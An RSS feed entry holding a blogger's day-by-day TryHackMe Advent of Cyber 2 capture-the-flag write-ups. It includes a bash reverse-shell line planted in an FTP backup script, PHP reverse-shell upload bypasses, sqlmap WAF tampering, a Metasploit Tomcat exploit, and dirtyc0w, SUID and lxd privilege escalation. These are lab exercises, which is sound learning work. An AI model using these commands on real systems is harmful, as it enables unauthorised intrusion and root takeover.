<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>SQLi — drsh0&#39;s llog</title>
    <link>https://drsh0.writeas.com/tag:SQLi</link>
    <description>my learning log; notes on cybersec activities, ctfs, and ill-equipped cyber adventures. Consume responsibly.</description>
    <pubDate>Sat, 14 Nov 2026 00:33:00 +0000</pubDate>
    <image>
      <url>https://i.snap.as/v7Oo2ci6.png</url>
      <title>SQLi — drsh0&#39;s llog</title>
      <link>https://drsh0.writeas.com/tag:SQLi</link>
    </image>
    <item>
      <title>TryHackMe - Advent of Cyber 2</title>
      <link>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2?pk_campaign=rss-feed</link>
      <description>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.&#xA;&#xA;https://tryhackme.com/room/adventofcyber2&#xA;&#xA;Here are my writeups! Happy Holidays folks 🎄</description>
      <content:encoded><![CDATA[<blockquote><p>Get started with Cyber Security in 25 Days – Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.</p></blockquote>

<p><a href="https://tryhackme.com/room/adventofcyber2" rel="nofollow ugc">https://tryhackme.com/room/adventofcyber2</a></p>

<p>Here are my writeups! Happy Holidays folks 🎄</p>



<h2 id="day-1-web-cookies-a-christmas-crisis">Day 1: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Cookies" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Cookies</span></a> A Christmas Crisis</h2>
<ul><li>modify basic auth cookie to bypass authentication for user <code>santa</code>.</li>
<li>cookie format is in hexadecimal which is presented as json when decoded.</li></ul>

<h2 id="day-2-web-rce-the-elf-strikes-back">Day 2: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:RCE" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">RCE</span></a> The Elf Strikes Back</h2>
<ul><li>login using provided ID via GET parameter.</li>
<li>set up a simple php reverse shell</li>
<li>bypass upload filter by adding <code>.jpg</code> before true extension.</li>
<li>set up ncat listener: <code>rlwrap ncat -lvnp $PORT</code></li>
<li>visit upload directory and open uploaded php reverse shell.</li>
<li>get <code>www-data</code> shell and get flag.</li></ul>

<h2 id="day-3-web-authentication-christmas-chaos">Day 3: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Authentication" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Authentication</span></a> Christmas Chaos</h2>
<ul><li>attempt login and capture login URI.</li>
<li>utilise burp cluster bomb with 2 payload sets for: <code>username</code> and <code>password</code>.</li>
<li>run attack and compare response length to find correct credentials.</li>
<li>login using these credentials for flag</li></ul>

<h2 id="day-4-web-fuzzing-santa-s-watching">Day 4: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:Fuzzing" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Fuzzing</span></a> Santa&#39;s Watching</h2>
<ul><li>scan for common directories —&gt; find <code>/api</code></li>
<li>api file <code>site-log.php</code> used for querying site logs by date</li>
<li>fuzz probable dates using <code>wfuzz</code>:
<code>wfuzz -c -z file,$WORDLIST -u $URI/api/site-log.php?date=FUZZ</code></li></ul>

<h2 id="day-5-web-sqli-someone-stole-santa-s-gift-list">Day 5: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:SQLi" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">SQLi</span></a> Someone stole Santa&#39;s gift list!</h2>
<ul><li>bypass login using basic SQLi payload</li>
<li>use info provided to launch <code>sqlmap</code> against the search parameter.</li>
<li>burp –&gt; capture request –&gt; send to repeater –&gt; save request.</li>
<li><code>sqlmap -r $saved_request --tamper=space2comment --dump-all -dbms sqlite</code>.
<ul><li><code>space2comment</code> is a WAF bypass method. This can be identified via <code>--identify-waf</code>.</li>
<li>other WAF bypasses are available where needed.</li></ul></li>
<li>use db dumps to answer all questions.</li></ul>

<h2 id="day-6-web-xss-be-careful-with-what-you-wish-on-a-christmas-night">Day 6: <a href="https://drsh0.writeas.com/tag:Web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Web</span></a> <a href="https://drsh0.writeas.com/tag:XSS" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">XSS</span></a> Be careful with what you wish on a Christmas night</h2>
<ul><li>web app is vulnerable to both reflected and stored XSS.</li>
<li>OWASP ZAP can be used for automated scanning.</li>
<li>The original compromise most likely utilised the stored XSS vulnerability and redirected a visitor to a malicious website upon clicking a certain hyperlink (by modifying <code>&lt;a&gt;</code> tags or by doing something like <code>location.replace</code>).</li></ul>

<h2 id="day-7-networking-wireshark-the-grinch-really-did-steal-christmas">Day 7: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:Wireshark" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Wireshark</span></a> The Grinch Really Did Steal Christmas</h2>

<p>We&#39;re given 3 pcaps that need to be analysed.</p>

<p>pcap1</p>
<ul><li>find icmp traffic – type <code>icmp</code> in filter bar</li>
<li>find all HTTP GET requests – <code>http.request.method == GET</code></li>
<li>find web pages visited (HTTP) by specific host – <code>ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET</code></li></ul>

<p>pcap 2</p>
<ul><li>find plaintext password in ftp traffic – <code>ftp.request.command==PASS</code></li>
<li>find encrypted protocol used – statistics &gt; protocol hierarchy (from this we see SSH which is an encrypted protocol)</li></ul>

<p>pcap 3</p>
<ul><li>recover files sent in the wire – file &gt; export objects &gt; http</li></ul>

<h2 id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree">Day 8: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:nmap" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">nmap</span></a> <a href="https://drsh0.writeas.com/tag:enumeration" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">enumeration</span></a> What&#39;s Under the Christmas Tree?</h2>

<p>A quick recap of nmap:</p>
<ul><li><code>-sT</code> – TCP scan</li>
<li><code>-sS</code> – SYN scan – default</li>
<li><code>-A</code> – aggressive scan (includes OS, version, script and traceroute scans)</li>
<li><code>--script vuln</code> – scan for common vulnerabilities on open ports
<ul><li>additional scripts: <code>enip-info</code>, <code>rdp-ntlm-info</code>, <code>http-enum</code></li>
<li>tip: you can use <code>*</code> as a wildcard when using <code>--script</code>.</li></ul></li></ul>

<h2 id="day-9-networking-ftp-anyone-can-be-santa">Day 9: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:ftp" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">ftp</span></a> Anyone can be Santa!</h2>
<ul><li>find anonymous ftp directories using <code>nmap $IP -sV --script=ftp-anon</code></li>
<li><code>ftp</code> in and retrieve <code>backup.sh</code></li>
<li>set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp" rel="nofollow ugc">reverse shell</a> on local host: <code>rlwrap ncat -lnvp 4242</code></li>
<li>upload backup script back to the ftp server with an added bash reverse shell:
<code>sh -i &gt;&amp; /dev/udp/$THM_IP/4242 0&gt;&amp;1</code></li>
<li>we should get a root shell on remote host this way.</li></ul>

<h2 id="day-10-networking-smb-don-t-be-selfish">Day 10: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:smb" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">smb</span></a> Don&#39;t be sElfish!</h2>

<p><code>enum4linux -U $IP</code> – enumerate users on SMB server
<code>enum4linux -S $IP</code> – enumerate shares on SMB server
<code>smbclient //$IP/$ShareName</code> – connect to SMB share</p>

<h2 id="day-11-networking-privesc-the-rogue-gnome">Day 11:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:privesc" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">privesc</span></a> The Rogue Gnome</h2>
<ul><li>we&#39;re given details to log in to ssh as the <code>cmatic</code> user.</li>
<li>it appears to be a limited account without any <code>sudo</code> access, let&#39;s send over <code>LinEnum.sh</code> to automate enumeration for us.</li>
<li>on the target machine: <code>nc -l -p 1337 &gt; /tmp/LinEnum.sh</code></li>
<li>on the attacking machine: <code>nc -w 3 $machineIP 1337 &lt; LinEnum.sh</code></li>
<li>The above should send the file from our machine to the target machine via <code>nc</code> (timeout <code>-w</code> at 3 secs)</li>
<li>SUID enumeration reveals <code>/bin/bash</code> has SUID bit set</li>
<li>With <code>/bin/bash -p</code> we get a root shell. The <code>-p</code> tells  the shell to maintain the euid which in this case is 0 (root) due to SUID.</li></ul>

<h2 id="day-12-networking-initialaccess-ready-set-elf">Day 12:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:initialaccess" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">initialaccess</span></a> Ready, Set, Elf</h2>
<ul><li>nmap (<code>-sC -sV</code>)</li>
<li>we see tomcat 9.0.17 being used</li>
<li>searching that in exploit-db we find possible code exec CVEs</li></ul>

<p>metasploit:</p>

<pre><code>msfconsole
search CVE-2019-0232
use exploit/windows/http/tomcat_cgi_cmdlineargs
set lhost tun0
set rhost $remotehostIP
set URI $remotehostCGI
check
exploit
shell
</code></pre>

<p>the above gets us a user shell. Check privs with <code>run post/windows/gather/win_privs</code></p>

<h2 id="day-13-exploitation-coal-for-christmas">Day 13: <a href="https://drsh0.writeas.com/tag:exploitation" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">exploitation</span></a> Coal for Christmas</h2>
<ul><li>scan machine with nmap – notice telnet</li>
<li>connect to telnet and log in with creds displayed</li>
<li>Enumuration tips:
<ul><li>cat /etc/*release</li>
<li>cat /etc/issue</li></ul></li>
<li>Ubuntu 12.04 with kernel 3.2.0-23-generic – vulnerable to dirtyc0w.</li>
<li>Transfer dirtyc0w source code to target machine and compile</li>
<li>run and create a root privileged account!</li></ul>

<h2 id="day-14-osint-where-s-rudolph">Day 14: <a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">osint</span></a>  Where&#39;s Rudolph?</h2>
<ul><li><a href="https://scylla.sh/" rel="nofollow ugc">https://scylla.sh/</a> – neat place to find dehashed passwords.</li>
<li>always check the entire post history of an account if possible.</li></ul>

<h2 id="day-15-16-python">Day 15 &amp; 16: <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">python</span></a></h2>

<pre><code class="language-python">#!/usr/bin/env python3
## TryHackMe Advent Calendar 2020 Day 16
## https://tryhackme.com/room/adventofcyber2

import requests

# The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.
# for loop to go over 1-100 key values, step by 2 to have odd numbers only

for api_key in range(1,100,2):
    # print what api key value we are iterating
    print(f&#34;api_key {api_key}&#34;)
    # this is the api endoing we are sending requests to
    r = requests.get(f&#39;http://EDITME_THMIP:8000/api/{api_key}&#39;)
    # only print text out if there are no failures or protections in place
    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):
        print(r.text)
</code></pre>

<h2 id="day-19-ssrf-web-the-naughty-or-nice-list">Day 19: <a href="https://drsh0.writeas.com/tag:SSRF" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">SSRF</span></a> <a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">web</span></a> The Naughty or Nice List</h2>
<ol><li>Observe that searches are proxied internally via <code>http://list.hohoho:8080/search.php?name=</code>.</li>
<li>Since an internal server is exposed, there are numerous things to do:
<ul><li>visit root of the host exposed e.g. <code>http://list.hohoho:8080</code> via the URI parameter.</li>
<li>try different ports for enumeration.</li>
<li>check for any app side blocking/filtering e.g. visiting <code>localhost</code> via the proxy. If blocked, consider using <code>localtest.me</code> which resolves to 127.0.0.1 e.g. <code>proxy=http://list.hohoho.localtest.me</code></li>
<li>this could lead to some sensitive exposure.</li></ul></li></ol>

<h2 id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas">Day 17 &amp; 18: <a href="https://drsh0.writeas.com/tag:reversing" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">reversing</span></a> <a href="https://drsh0.writeas.com/tag:assembly" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">assembly</span></a> <a href="https://drsh0.writeas.com/tag:dotnet" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">dotnet</span></a> ReverseELFneering  &amp; The Bits of Christmas</h2>

<p>Opening a binary with radare2 – <code>r2 -d &lt;file&gt;</code>
Analysing a binary – <code>aa</code>
List of functions – <code>afl</code>
Print disassembly function – <code>pdf @&lt;function&gt;</code>
Breakpoint – <code>db &lt;reference&gt;</code>
Run program until breakpoint – <code>dc</code>
View contents of memory address – <code>px @&lt;memory address&gt;</code>
Move to next instruction – <code>ds</code>
View %eax register – <code>dr</code>
Reload program – <code>ood</code></p>

<hr/>

<p>For DotNet applications, <strong>ILSpy</strong> and <strong>Dotpeek</strong> are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication.</p>

<h2 id="day-20-powershell-powershellf-to-the-rescue">Day 20: <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">powershell</span></a> PowershELlF to the rescue</h2>

<p>Some intro to powershell and navigating the file and directory system:</p>

<p><strong><code>Get-ChildItem -Path &lt;&gt; -File/-Directory -Hidden -ErrorAction SilentlyContinue</code></strong>
The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors.</p>

<p><strong><code>Measure-Object</code></strong>
Can be piped to provide info on an object like words e.g. <code>Get-Content file.txt | Measure-Object -Word</code></p>

<p><strong><code>(Get-Content -Path file.txt)[index]</code></strong>
Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character.</p>

<p><strong><code>Select-String -Path ./Desktop -Pattern &#39;*.txt&#39;</code></strong>
Find all txt files within the desktop. Can also be used to search for strings within a file.</p>

<h2 id="day-21-forensics-powershell-time-for-some-elforensics">Day 21: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">powershell</span></a> Time for some ELForensics</h2>
<ul><li>ADFS is a part of NTFS and can contain alternate data streams not visible to the user.
Calculate MD5:
<code>Get-FileHash -Algorithm MD5 &lt;file&gt;</code>
View streams:
<code>Get-Item -Path file.exe -Stream *</code>
Launch the stream/s found:
<code>wmic process call create $(Resolve-Path file.exe:streamname)</code></li></ul>

<h1 id="day-22-forensics-elf-mceager-becomes-cyberelf">Day 22: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> Elf McEager becomes CyberElf</h1>

<p>Data decoding via <a href="https://gchq.github.io/CyberChef/" rel="nofollow ugc">https://gchq.github.io/CyberChef/</a></p>

<h1 id="day-23-forensics-the-grinch-strikes-again">Day 23: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow ugc"><span>#</span><span class="p-category">forensics</span></a> The Grinch strikes again!</h1>
<ul><li>malicious scheduled tasks may often be utilised by ransomware operators.</li>
<li>volume shadow copy service (VSS) creates “snapshots” of data. This can be interacted with using <code>vssadmin</code></li>
<li>for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume.</li></ul>

<h2 id="day-24">Day 24</h2>

<p>Find hidden web directories and php pages:</p>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
</code></pre>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
</code></pre>

<p>Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to <code>.jpg.php</code> doesn&#39;t work. See network connections and notice <code>filter.js</code>. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.</p>

<pre><code class="language-bash">rlwrap ncat -nlvp 1234
</code></pre>

<p>Upgrade shell:</p>

<pre><code class="language-bash">python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre>

<p>After finding the DB creds in the <code>includes</code> folder, connect to it using MySQL client.</p>

<pre><code>$ msql -utron -p
$ show databases;
$ use tron;
$ show tables;
$ select * from users;

</code></pre>

<p>We find the user <code>flynn</code>&#39;s hashed password which can be cracked via <a href="https://crackstation.net/" rel="nofollow ugc">crackstation</a>.
Using these credentials, SSH into localhost (or use <code>su flynn</code>).
The flyn user is in the lxd group, allowing us to interact with linux containers (lxc).</p>

<pre><code class="language-bash">$ lxc image list # see if there are any images we can use
$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container
$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root
$ lxc start $CONTAINERNAME
$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell 
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2</guid>
      <pubDate>Thu, 10 Dec 2020 19:51:43 +0000</pubDate>
    </item>
  </channel>
</rss>